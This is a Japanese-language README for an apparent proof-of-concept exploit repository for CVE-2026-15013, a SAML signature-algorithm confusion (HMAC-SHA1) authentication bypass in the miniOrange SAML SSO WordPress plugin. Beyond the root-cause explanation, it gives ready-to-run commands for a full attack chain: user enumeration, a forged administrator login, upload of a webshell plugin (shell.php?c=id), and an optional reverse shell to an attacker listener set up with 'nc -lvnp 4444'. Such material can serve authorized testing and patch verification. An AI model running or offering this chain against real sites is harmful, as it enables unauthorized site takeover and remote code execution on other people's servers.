CVE-2026-15013 — miniOrange SAML SSO <= 5.4.3 認証バイパス (PoC)

CVE-2026-15013 の概念実証（PoC）: miniOrange 製 WordPress プラグイン SAML Single Sign On – SSO Login（バージョン 5.4.3 以下）における、SAML の 署名アルゴリズム混同（HMAC-SHA1）を利用した未認証の認証バイパス。

許可されたテストのみ。 このコードは、自分が所有するシステム、または明示的な許可を得たシステムに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法です。

クレジット

CVE レコード: https://www.cve.org/CVERecord?id=CVE-2026-15013

根本原因

Mo_SAML_Utilities::mo_saml_cast_key() は、攻撃者が制御する SAMLResponse 内の SignatureMethod アルゴリズムを信頼します。HMAC-SHA1 が設定されている場合、プラグインは IdP の RSA 公開鍵 を HMAC 共有秘密鍵として再解釈し、それを使って署名を検証します。IdP 証明書（多くの場合、公開メタデータ）を読める者は誰でも、管理者を含む既存の WordPress ユーザー向けの有効なアサーションを偽造できます。

5.4.4 以上 で修正済み（不安全なアルゴリズム / HMAC は拒否）。

CVSS

9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

要件

• Python 3.10+
• openssl CLI（証明書から公開鍵を取得するため）
• 対象の WordPress サイトへのネットワークアクセス。自動キー取得には IdP の SAML 記述子（メタデータ）へのアクセスも必要

依存関係をインストール:

pip install -r requirements.txt

使い方

完全なチェーン（ユーザー列挙、HMAC ログイン、管理者、ウェブシェル）:

python3 exploit.py -u https://TARGET.example

任意のリバースシェル（先にリスナーを起動: nc -lvnp 4444）:

python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444

ログインのみ（シェルなし）:

python3 exploit.py -u https://TARGET.example --no-shell

手動オーバーライド:

python3 exploit.py -u https://TARGET.example \
  --issuer https://idp.example/realms/xxx \
  --nameid admin \
  -k ./idp-pubkey.pem

引数

フロー

1. WordPress とプラグインのバージョンを検出（5.4.3 以下である必要あり）
2. ACS、SP entityID、IdP 発行者を発見
3. IdP の署名証明書（メタデータ）を取得し、公開鍵 PEM（HMAC 秘密鍵）を導出
4. WordPress ユーザーを列挙
5. 各候補ユーザーについて HMAC-SHA1 署名付き SAMLResponse を偽造
6. install_plugins 権限を持つアカウント（管理者）を選択
7. ウェブシェルプラグインをアップロード（exp/shell.php?c=id）
8. --lhost による任意のリバースシェル

免責事項

このプロジェクトは教育目的および許可されたセキュリティ研究のみを対象としています。著者および貢献者は悪用について一切の責任を負いません。第三者システムをテストする前に、必ず書面による許可を取得してください。本脆弱性は責任ある開示（responsible disclosure）を通じて報告されたものであり、このリポジトリは学習と防御的検証のための再現を示すものにすぎません。

参照

• https://www.cve.org/CVERecord?id=CVE-2026-15013
• https://www.wordfence.com/threat-intel/vulnerabilities/id/ee95092d-6351-4612-872d-284165bc1201?source=cve
• プラグイン修正版: miniOrange SAML 5.4.4+

ライセンス

研究目的での使用のため。無保証です。